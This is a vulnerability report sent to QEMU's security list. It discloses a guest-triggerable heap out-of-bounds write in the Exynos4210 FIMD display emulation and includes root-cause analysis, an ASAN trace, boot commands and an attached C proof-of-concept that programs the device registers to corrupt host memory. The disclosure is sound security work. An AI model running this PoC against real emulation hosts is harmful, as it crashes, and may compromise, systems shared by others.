From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from lists1p.gnu.org (lists1p.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by smtp.lore.kernel.org (Postfix) with ESMTPS id 0E996CD37AF for ; Sun, 10 May 2026 11:02:27 +0000 (UTC) Received: from localhost ([::1] helo=lists1p.gnu.org) by lists1p.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1wM1vQ-0004BO-Lo; Sun, 10 May 2026 07:02:21 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]) by lists1p.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1wLzu9-0006H0-TB for qemu-arm@nongnu.org; Sun, 10 May 2026 04:52:53 -0400 Received: from mail-pj1-x102c.google.com ([2607:f8b0:4864:20::102c]) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1wLzu6-0006NA-TF for qemu-arm@nongnu.org; Sun, 10 May 2026 04:52:53 -0400 Received: by mail-pj1-x102c.google.com with SMTP id 98e67ed59e1d1-366330b6751so1993106a91.1 for ; Sun, 10 May 2026 01:52:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20251104; t=1778403168; x=1779007968; darn=nongnu.org; h=content-transfer-encoding:content-disposition:mime-version :message-id:subject:cc:to:date:from:from:to:cc:subject:date :message-id:reply-to; bh=03I88a4AztdJQM011a7qWtCEObeD/ACo3Fxm4X3n3rE=; b=QndIPHqH00CBQFhN8x/ucjWR6GgQHHc71Vxl2p6A9sS0H0AmAFCzOJWedSM87iViwY d8nClnLMRLgMtuSPhP+wPMMEnYCVzNBN439bFefwIlcZqfaSQIM6BIpFEoK3v5+sptz5 IRZNNEBffHT0yBrWFp304kSpyNCqEkoXhmjYk5zNlFwZFrvnXhQeX/4v/L+YPiRwvmCg jj1gl9zYI2QGF3PsyppLPmVNg2pKtNu3NDJEbRJaEWm1qzBAJ5A0n6h75klEDI/LZUD8 XUaN67MwiakJZEH+dsyXOlRcbRljTS8cu0OBpBYF8JwvkPEjiQlsakTVn/ZgnLVC5HqU O3Qw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20251104; t=1778403168; x=1779007968; h=content-transfer-encoding:content-disposition:mime-version :message-id:subject:cc:to:date:from:x-gm-gg:x-gm-message-state:from :to:cc:subject:date:message-id:reply-to; bh=03I88a4AztdJQM011a7qWtCEObeD/ACo3Fxm4X3n3rE=; b=l6oowJv/W86Ttr16+8JiLGJe5Ig9Bu7BVIvW6iHTUKszOQpuJ/jsXOKxhOXuuMZsOA w/T4W0LXUXHutdqQQd6SuG6rbcK5VllfimVY5D+Zvs6FgO0136olMJXHl2tvPqZPybBK bcATCZqtW4V0RkSSbAqyjVcipCo36zaFRA1P4q3J5pLRHRDaU0HgRine5eh6w1R/PuRB zMvZ2RIzwBBscK/nACWe0Jgq2CDirhW3+oBnQA0uasl5vfxszTpUmb72qvEr9OweRCJl HrHhznEav+hUIAHoPESU7lHPuHPq1UMxgSmwC8Ks/z0UgZel8RC7P6WO3cd9XGo7m9eC 7ibg== X-Forwarded-Encrypted: i=1; AFNElJ8gKh6fj6DDRyGY3X50LGHgRd1aYeR5YTcZ+r1YCp3WixjvmvRlYDtI1v1lTUG4VZ3iTV7xjf1dHg==@nongnu.org X-Gm-Message-State: AOJu0YwEIsqyZv/NkkgO6cBV+XjhQfcMXWtBujj6MafriBbIfpbs7ORX EOo2MGlFdxc7KgMfMoeWmnMWuYBMX546QvsHNZnBJ32JuUBduvsSDPxd X-Gm-Gg: Acq92OG2QryaSqHRAH0QJ9ItkSdqbBcPWREmaBhhC5pNq5lOU+9oW6pDRkoKUrcopSG bFFKCIjIAJUWp7/+5Dm1yDWE+LkhvByz58Ph41Cl6B6cmCChqgFNvi1BSjkelbEqKr/yh6Ervvj JMSBM3womQ5bdFP7A2lX3wL6dPRHboxT05BwsdDcUV7clrQ8ndCtr6t3cqzy2PpcrzIBt7FlsuO ujinEGpegR9WeIHmHnn4UDzA9Uqb7kePD+vbUp1vQZ+GWRbgb+YEOSXP4mZ9dtERQxVszfmlzR9 pSDo/bgTUjnSFKJowSdZ+7cESxBaZNb1FHPwp9iP8U0NegvxVB2/drAy5/r5qbFx0ANE6bsc4ci onAet08WMz5m5OZdL64LO8dmzgK+exl243z8QpCbiA07/LE6qtAO1velZYkycArGuHNddmhPpwD ZwmjtOQj2VFieJY+6T1U4QUJIwPh6cGYtB1CA09xgnkr4AtLQ5FQM= X-Received: by 2002:a17:90b:4c46:b0:367:db0c:4320 with SMTP id 98e67ed59e1d1-367db0c456dmr4549176a91.23.1778403168404; Sun, 10 May 2026 01:52:48 -0700 (PDT) Received: from Air.local ([198.176.50.157]) by smtp.gmail.com with ESMTPSA id 98e67ed59e1d1-367d687a2a8sm4023486a91.15.2026.05.10.01.52.44 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Sun, 10 May 2026 01:52:46 -0700 (PDT) From: bestswngs@gmail.com X-Google-Original-From: Weiming Shi , your-email@example.com Date: Sun, 10 May 2026 16:52:40 +0800 To: qemu-security@nongnu.org Cc: Igor Mitsyanko , Peter Maydell , qemu-arm@nongnu.org Subject: [BUG] hw/display/exynos4210_fimd: guest-triggerable host heap OOB write via unchecked window coordinates Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit Received-SPF: pass client-ip=2607:f8b0:4864:20::102c; envelope-from=bestswngs@gmail.com; helo=mail-pj1-x102c.google.com X-Spam_score_int: -15 X-Spam_score: -1.6 X-Spam_bar: - X-Spam_report: (-1.6 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, FROM_LOCAL_NOVOWEL=0.5, RCVD_IN_DNSWL_NONE=-0.0001, SPF_HELO_NONE=0.001, SPF_PASS=-0.001, WEIRD_PORT=0.001 autolearn=ham autolearn_force=no X-Spam_action: no action X-Mailman-Approved-At: Sun, 10 May 2026 07:02:19 -0400 X-BeenThere: qemu-arm@nongnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: qemu-arm-bounces+qemu-arm=archiver.kernel.org@nongnu.org Sender: qemu-arm-bounces+qemu-arm=archiver.kernel.org@nongnu.org Hi, I'd like to report a guest-triggerable host heap out-of-bounds write in the Exynos4210 FIMD display controller emulation. It is reachable from any process running with root privilege inside a smdkc210/nuri guest, through ordinary /dev/mem mmap of the FIMD MMIO region. No out-of-spec register values are required; all writes are within the device's own mask range. Verified against QEMU 10.0.0; the relevant code in master (HEAD ee7eb612) is byte-identical for all four root-cause spots referenced below, so master is expected to reproduce identically. == TL;DR == The internal frame buffer s->ifb is sized from the global LCD resolution in VIDTCON2. However, fimd_update() then uses each window's own (lefttop_x, lefttop_y) coordinates to compute a pixel destination inside s->ifb, with no check that the window stays inside the global rectangle. Because both the global size and the window coordinates are 11-bit guest-writable fields with no cross-validation, the guest can shrink s->ifb to 14,337 bytes while pointing window 0 at byte offset 0x01BFC800 (~ 28 MB) past the allocation. This results in put_pixel_ifb() performing 7-byte writes (3 RGB bytes plus a 4-byte alpha word; RGBA_SIZE == 7) far outside the heap chunk. == Build requirements == None special. CONFIG_EXYNOS4 is `default y` in hw/arm/Kconfig and is included in every stock qemu-system-arm distribution package. A release-mode build (no debug, no sanitizer) reproduces the crash with exit status 139 (SIGSEGV); the ASAN trace below merely gives a clearer view of the same fault. No KVM is involved — pure TCG on any host arch. == Triggerability == Guest userspace (root + /dev/mem): YES — demonstrated below with a full Debian 4.19 ARM Linux boot and a freestanding C PoC running as /init. Note this works *even with* CONFIG_STRICT_DEVMEM=y in the guest kernel: the FIMD MMIO region is iomem, not RAM, so /dev/mem still allows mmap on it. Guest kernel module (root): YES — same MMIO dispatch path via ioremap() + writel(); the userspace PoC already proves the host write path, kernel mode is strictly easier. Guest userspace (unprivileged): Indirect; gated by Linux fbdev driver (s3c-fb.c) which validates geometry. Not directly reachable from non-root users. All bug-relevant register writes use values within the device's own mask range (FIMD_VIDOSD_COORD_MASK = 0x7ff); no out-of-spec input is needed. Threat model is "untrusted code with root or kernel privilege inside a smdkc210/nuri guest" — typical of CI / firmware- test environments that emulate Samsung Exynos4 boards. == Root cause == In hw/display/exynos4210_fimd.c, four pieces of state diverge: 1) s->ifb is allocated using only the *global* width/height from VIDTCON2. RGBA_SIZE is 7 (3 bytes RGB + 4-byte alpha word; rgba struct at line 258, define at line 264): [hw/display/exynos4210_fimd.c:1245] static void exynos4210_update_resolution(Exynos4210fimdState *s) { /* HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff (lines 80-82) */ uint32_t width = ((s->vidtcon[2] >> FIMD_VIDTCON2_HOR_SHIFT) & 0x7ff) + 1; uint32_t height = ((s->vidtcon[2] >> FIMD_VIDTCON2_VER_SHIFT) & 0x7ff) + 1; if (s->ifb == NULL || ...) { qemu_console_resize(s->console, width, height); s->ifb = g_realloc(s->ifb, width * height * RGBA_SIZE + 1); memset(s->ifb, 0, width * height * RGBA_SIZE + 1); } } 2) Each window's lefttop_x / lefttop_y are 11-bit guest-writable values with no clamp against the global rectangle. HOR_SHIFT=11, VER_SHIFT=0, COORD_MASK=0x7ff: [hw/display/exynos4210_fimd.c:1457] case FIMD_VIDOSD_START ... FIMD_VIDOSD_END: /* 0x40..0x88 */ ... s->window[w].lefttop_x = (val >> FIMD_VIDOSD_HOR_SHIFT) & FIMD_VIDOSD_COORD_MASK; s->window[w].lefttop_y = (val >> FIMD_VIDOSD_VER_SHIFT) & FIMD_VIDOSD_COORD_MASK; /* both axes accept the full 0..2047 range */ 3) fimd_update() walks each enabled window and indexes into s->ifb using lefttop_x / lefttop_y, never checking against global_width: [hw/display/exynos4210_fimd.c:1286] global_width = (s->vidtcon[2] & FIMD_VIDTCON2_SIZE_MASK) + 1; ... for (i = 0; i < NUM_OF_WINDOWS; i++) { w = &s->window[i]; if ((w->wincon & FIMD_WINCON_ENWIN) && w->host_fb_addr) { scrn_height = w->rightbot_y - w->lefttop_y + 1; ... for (line = 0; line < scrn_height; line++) { ... w->draw_line(w, host_fb_addr, s->ifb + w->lefttop_x * RGBA_SIZE + (w->lefttop_y + line) * global_width * RGBA_SIZE, blend); The pointer passed as `dst` to the per-window draw_line callback is then written by put_pixel_ifb(): [hw/display/exynos4210_fimd.c:475] static int put_pixel_ifb(const rgba p, uint8_t *d) { *(uint8_t *)d++ = p.r; /* <-- ASAN reports the SEGV here */ *(uint8_t *)d++ = p.g; *(uint8_t *)d++ = p.b; *(uint32_t *)d = p.a; /* 4-byte store of the alpha word */ return RGBA_SIZE; /* RGBA_SIZE == 7 */ } 4) WINMAP0 is what triggers the redraw. Writing 0x01000000 sets bit 24 (FIMD_WINMAP_EN), the EN-bit XOR is non-zero, and fimd_update() is called. With WINMAP_EN set, update_win_bppmode() switches the per-window draw_line callback to draw_line_mapcolor, which synthesizes each pixel from the low 24 bits of the winmap register and does NOT read guest framebuffer RAM at all -- so guest RAM contents are irrelevant to triggering the bug: [hw/display/exynos4210_fimd.c:1551] case FIMD_WINMAP_START ... FIMD_WINMAP_END: /* 0x180..0x190 */ w = (offset - FIMD_WINMAP_START) >> 2; old_value = s->window[w].winmap; s->window[w].winmap = val; if ((val & FIMD_WINMAP_EN) ^ (old_value & FIMD_WINMAP_EN)) { exynos4210_fimd_invalidate(s); exynos4210_fimd_update_win_bppmode(s, w); ... exynos4210_fimd_update(s); /* <-- triggers it */ } == Arithmetic of the OOB == VIDTCON2 = 0x000007ff HOR_SHIFT=0, VER_SHIFT=11, MASK=0x7ff -> global_width = ((0x7ff >> 0) & 0x7ff) + 1 = 0x800 (2048) -> global_height = ((0x7ff >> 11) & 0x7ff) + 1 = 0x001 (1) ifb size = 2048 * 1 * 7 + 1 = 14,337 bytes (0x3801) VIDOSDA0 = 0x000007ff HOR_SHIFT=11, VER_SHIFT=0, MASK=0x7ff -> lefttop_x = (0x7ff >> 11) & 0x7ff = 0 -> lefttop_y = (0x7ff >> 0) & 0x7ff = 0x7ff (2047) VIDOSDB0 = 0x000007ff -> rightbot_x = 0, rightbot_y = 0x7ff For window 0: scrn_height = rightbot_y - lefttop_y + 1 = 1 scrn_width = w->virtpage_width (= 0 by default) The 1-line, 1-pixel write goes to: ifb_offset = lefttop_x * RGBA_SIZE + (lefttop_y + 0) * global_width * RGBA_SIZE = 0 * 7 + 0x7ff * 0x800 * 7 = 0 + 0x3FF800 * 7 = 0x01BFC800 (29,345,792 bytes ~= 28 MB) ifb has been deliberately shrunk to 14,337 bytes (0x3801), so 0x01BFC800 lands ~28 MB past the end of the heap chunk, deep into unmapped territory. The very first byte store inside put_pixel_ifb() faults. Consistent with the observed ASAN report below: SEGV at 0x528001bfc900 ifb base ~= 0x528000000100 (heap chunk, glibc fastbin) crash offset = 0x01bfc900 - 0x000000100 ~= 0x01BFC800 verified. == Reproducer (full Linux guest userspace, root via /dev/mem) == The PoC is a freestanding ARM Linux init binary (single C file, no libc, ~4 KB static ELF) that mmap()s /dev/mem and writes the FIMD MMIO sequence described above. It runs as PID 1 in a busybox initramfs. For convenience the PoC reuses the exact kernel / DTB / rootfs already used by QEMU's own functional test, so anyone running `make check-functional-arm` already has the artifacts on disk: Test: tests/functional/test_arm_smdkc210.py Kernel: linux-image-4.19.0-6-armmp_4.19.67-2+deb10u1_armhf.deb (Debian snapshot, provides vmlinuz + exynos4210-smdkv310.dtb) Rootfs: rootfs-armv5.cpio.gz from groeck/linux-build-test Hardening note: that kernel has CONFIG_STRICT_DEVMEM=y; the bug is still reachable because /dev/mem allows mapping iomem / MMIO even when DRAM access is blocked. Build the PoC (source attached below) and stage it as /init: arm-linux-gnu-gcc -nostdlib -static -mcpu=cortex-a9 -marm \ -ffreestanding -fno-stack-protector -o init poc.c # then place `init` at the root of a copy of rootfs-armv5.cpio.gz Boot (TCG, release build, no qtest, no debug): qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults \ -display none -kernel -dtb -initrd \ -append 'console=ttySAC0,115200n8 panic=-1 noreboot rdinit=/init' \ -serial mon:stdio -accel tcg == ASAN evidence == Console output and ASAN trace from a representative run. Note that Thread T2 is the TCG vCPU worker, not the main thread, and the bottom of the stack is helper_stl_mmu / (tcg-jit) — i.e. a guest ARM `str` instruction translated by TCG, not a host-side write: ``` / # ./init AddressSanitizer:DEADLYSIGNAL ================================================================= ==163255==ERROR: AddressSanitizer: SEGV on unknown address 0x528001bfc900 (pc 0x55d8a00356ff bp 0x7fa55f5fd670 sp 0x7fa55f5fd580 T2) ==163255==The signal is caused by a WRITE memory access. #0 0x55d8a00356ff in put_pixel_ifb ../hw/display/exynos4210_fimd.c:477 #1 0x55d8a00356ff in draw_line_mapcolor ../hw/display/exynos4210_fimd.c:862 #2 0x55d8a002f5e8 in exynos4210_fimd_update ../hw/display/exynos4210_fimd.c:1311 #3 0x55d8a00303ec in exynos4210_fimd_write ../hw/display/exynos4210_fimd.c:1559 #4 0x55d8a0ade71b in memory_region_write_accessor ../system/memory.c:497 #5 0x55d8a0add43b in access_with_adjusted_size ../system/memory.c:573 #6 0x55d8a0addd09 in memory_region_dispatch_write ../system/memory.c:1553 #7 0x55d8a0b457dd in int_st_mmio_leN ../accel/tcg/cputlb.c:2493 #8 0x55d8a0b461ba in do_st_mmio_leN ../accel/tcg/cputlb.c:2528 #9 0x55d8a0b5193c in do_st_4 ../accel/tcg/cputlb.c:2698 #10 0x55d8a0b5193c in do_st4_mmu ../accel/tcg/cputlb.c:2774 #11 0x55d8a0b54e7b in helper_stl_mmu ../accel/tcg/ldst_common.c.inc:100 #12 0x7fa5a1661bed (/memfd:tcg-jit (deleted)+0x1d6bbed) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV ../hw/display/exynos4210_fimd.c:477 in put_pixel_ifb Thread T2 created by T0 here: #0 0x7fa624af40a3 in pthread_create (/lib64/libasan.so.8+0xf40a3) (BuildId: 056be1fcf267a221be3234b7611a94d0ee6a19bc) #1 0x55d8a0f87c6b in qemu_thread_create ../util/qemu-thread-posix.c:581 #2 0x55d8a06f1640 in mttcg_start_vcpu_thread ../accel/tcg/tcg-accel-ops-mttcg.c:143 #3 0x55d8a05db992 in qemu_init_vcpu ../system/cpus.c:705 #4 0x55d8a084713f in arm_cpu_realizefn ../target/arm/cpu.c:2602 #5 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494 #6 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374 #7 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449 #8 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28 #9 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519 #10 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276 #11 0x55d8a07d21bf in exynos4210_realize ../hw/arm/exynos4210.c:577 #12 0x55d8a0b712bb in device_set_realized ../hw/core/qdev.c:494 #13 0x55d8a0b7913b in property_set_bool ../qom/object.c:2374 #14 0x55d8a0b7f674 in object_property_set ../qom/object.c:1449 #15 0x55d8a0b85e37 in object_property_set_qobject ../qom/qom-qobject.c:28 #16 0x55d8a0b7face in object_property_set_bool ../qom/object.c:1519 #17 0x55d8a0b701a5 in qdev_realize ../hw/core/qdev.c:276 #18 0x55d89ff8fec3 in sysbus_realize ../hw/core/sysbus.c:238 #19 0x55d8a0597d76 in exynos4_boards_init_common ../hw/arm/exynos4_boards.c:129 #20 0x55d8a0597e55 in smdkc210_init ../hw/arm/exynos4_boards.c:144 #21 0x55d89ff821fd in machine_run_board_init ../hw/core/machine.c:1682 #22 0x55d8a05f8c62 in qemu_init_board ../system/vl.c:2711 #23 0x55d8a05f8c62 in qmp_x_exit_preconfig ../system/vl.c:2807 #24 0x55d8a05ff76b in qemu_init ../system/vl.c:3843 #25 0x55d8a0e207dd in main ../system/main.c:71 #26 0x7fa62403c58d in __libc_start_call_main (/lib64/libc.so.6+0x2a58d) (BuildId: 1e3e48dbffd641e15d0c912086334c9e3436917c) ==163255==ABORTING ``` == Disclosure == Found during an audit of QEMU 10.0.0. I'm happy to coordinate disclosure or send a fix patch — let me know your preference. Thanks, Weiming Shi (swing) && 章鱼哥@aipy (www.aipyaipy.com) -- QEMU 10.0.0 build used for the ASAN evidence above: ../configure --target-list=arm-softmmu --enable-debug \ --extra-cflags="-fsanitize=address -O1 -g" \ --extra-ldflags="-fsanitize=address" \ --disable-werror Boot: qemu-system-arm -M smdkc210 -m 256M -nographic -nodefaults -display none \ -kernel ./boot/vmlinuz-4.19.0-6-armmp \ -dtb ./usr/lib/linux-image-4.19.0-6-armmp/exynos4210-smdkv310.dtb \ -initrd ./rootfs-poc.cpio.gz \ -append 'earlycon=exynos4210,0x13800000 console=ttySAC0,115200n8 panic=-1 noreboot rdinit=/init' \ -serial mon:stdio -accel tcg ============================================================================== Attachment: poc.c (freestanding ARM Linux userspace, no libc, ~4 KB ELF) ============================================================================== /* Userspace ARM Linux PoC for the Exynos4210 FIMD ifb OOB write bug. * Freestanding (no libc); issues syscalls via inline svc 0 (EABI). * Build: * arm-linux-gnu-gcc -nostdlib -static -O0 -mcpu=cortex-a9 -marm \ * -ffreestanding -fno-stack-protector -o poc poc.c * Use as /init in any minimal initramfs. */ typedef unsigned int u32; typedef unsigned long ulong; #define O_RDWR 0x00000002 #define O_SYNC 0x00101000 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define MAP_SHARED 0x01 #define MAP_FAILED ((void *)-1L) #define SYS_exit 1 #define SYS_write 4 #define SYS_open 5 #define SYS_mount 21 #define SYS_reboot 88 #define SYS_mmap2 192 /* offset is in PAGE_SIZE units */ #define LINUX_REBOOT_MAGIC1 0xfee1deadu #define LINUX_REBOOT_MAGIC2 672274793u #define LINUX_REBOOT_CMD_POWER_OFF 0x4321fedcu static inline long syscall1(long n,long a){ register long r0 __asm__("r0")=a; register long r7 __asm__("r7")=n; __asm__ volatile("svc 0":"+r"(r0):"r"(r7):"memory"); return r0; } static inline long syscall2(long n,long a,long b){ register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b; register long r7 __asm__("r7")=n; __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r7):"memory"); return r0; } static inline long syscall3(long n,long a,long b,long c){ register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b; register long r2 __asm__("r2")=c; register long r7 __asm__("r7")=n; __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r7):"memory"); return r0; } static inline long syscall4(long n,long a,long b,long c,long d){ register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b; register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d; register long r7 __asm__("r7")=n; __asm__ volatile("svc 0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r7):"memory"); return r0; } static inline long syscall6(long n,long a,long b,long c,long d,long e,long f){ register long r0 __asm__("r0")=a; register long r1 __asm__("r1")=b; register long r2 __asm__("r2")=c; register long r3 __asm__("r3")=d; register long r4 __asm__("r4")=e; register long r5 __asm__("r5")=f; register long r7 __asm__("r7")=n; __asm__ volatile("svc 0":"+r"(r0) :"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory"); return r0; } static int sys_open(const char *p,int f){return syscall2(SYS_open,(long)p,f);} static long sys_write(int fd,const void*b,ulong n){return syscall3(SYS_write,fd,(long)b,n);} static void *sys_mmap(void*a,ulong l,int p,int fl,int fd,ulong pg){ return (void*)syscall6(SYS_mmap2,(long)a,l,p,fl,fd,pg); } static int sys_mount(const char*s,const char*t,const char*f,ulong fl,const void*d){ register long r0 __asm__("r0")=(long)s; register long r1 __asm__("r1")=(long)t; register long r2 __asm__("r2")=(long)f; register long r3 __asm__("r3")=(long)fl; register long r4 __asm__("r4")=(long)d; register long r7 __asm__("r7")=SYS_mount; __asm__ volatile("svc 0":"+r"(r0) :"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"memory"); return r0; } static int sys_reboot(u32 cmd){ return syscall4(SYS_reboot,LINUX_REBOOT_MAGIC1,LINUX_REBOOT_MAGIC2,cmd,0); } static ulong str_len(const char*s){ulong n=0;while(s[n])n++;return n;} static void putln(const char*s){sys_write(1,s,str_len(s));sys_write(1,"\n",1);} static void puts1(const char*s){sys_write(1,s,str_len(s));} static void puthex(u32 x){ char b[11]="0x00000000"; for(int i=0;i<8;i++){unsigned d=(x>>((7-i)*4))&0xf;b[2+i]=d<10?'0'+d:'a'+d-10;} sys_write(1,b,10); } #define FIMD_BASE 0x11c00000UL #define FIMD_LEN 0x10000 #define PAGE_SIZE 4096 static volatile u32 *fimd; static void w32(u32 off,u32 v){ fimd[off>>2]=v; __asm__ __volatile__("dsb sy":::"memory"); } void _start(void) { putln(""); putln("====================================================================="); putln("[poc] Linux userspace running as PID 1 (pure C, no libc)"); putln("====================================================================="); puts1("[poc] mount devtmpfs on /dev ... "); if (sys_mount("devtmpfs","/dev","devtmpfs",0,0) < 0) putln("FAILED (continuing -- /dev may already exist)"); else putln("ok"); puts1("[poc] open /dev/mem ... "); int fd = sys_open("/dev/mem", O_RDWR | O_SYNC); if (fd < 0) { putln("FAILED"); goto die; } putln("ok"); puts1("[poc] mmap FIMD at PA 0x11c00000 ... "); void *p = sys_mmap(0, FIMD_LEN, PROT_READ|PROT_WRITE, MAP_SHARED, fd, FIMD_BASE / PAGE_SIZE); if (p == MAP_FAILED) { putln("FAILED"); goto die; } fimd = (volatile u32*)p; puts1("VA="); puthex((u32)(ulong)p); putln(""); putln("[poc] programming FIMD registers."); w32(0x0018, 0x000007ff); /* VIDTCON2 -> global 2048x1, ifb=14337B */ w32(0x00a0, 0x40000080); /* VIDW0_BUF_START0 (unused with WINMAP) */ w32(0x0100, 0x00000008); /* WINCON0 (ENWIN bit etc.) */ w32(0x0040, 0x000007ff); /* VIDOSDA0 -> lefttop_y = 0x7ff */ w32(0x0044, 0x000007ff); /* VIDOSDB0 -> rightbot_y = 0x7ff */ w32(0x0020, 0x0000002d); /* VIDCON2 */ w32(0x0000, 0x00000003); /* VIDCON0 enable */ putln("[poc] firing trigger write (WINMAP0)..."); putln("[poc] If host QEMU is vulnerable, this is the LAST line you see:"); /* Sets WINMAP_EN=bit24, switches draw_line to draw_line_mapcolor, * triggers fimd_update() -> draw_line -> put_pixel_ifb() at * s->ifb + 0x01BFC800 (28 MB past the 14,337-byte allocation). */ w32(0x0180, 0x01000000); putln("[poc] *** host QEMU survived -- bug appears PATCHED ***"); die: sys_reboot(LINUX_REBOOT_CMD_POWER_OFF); syscall1(SYS_exit, 0); }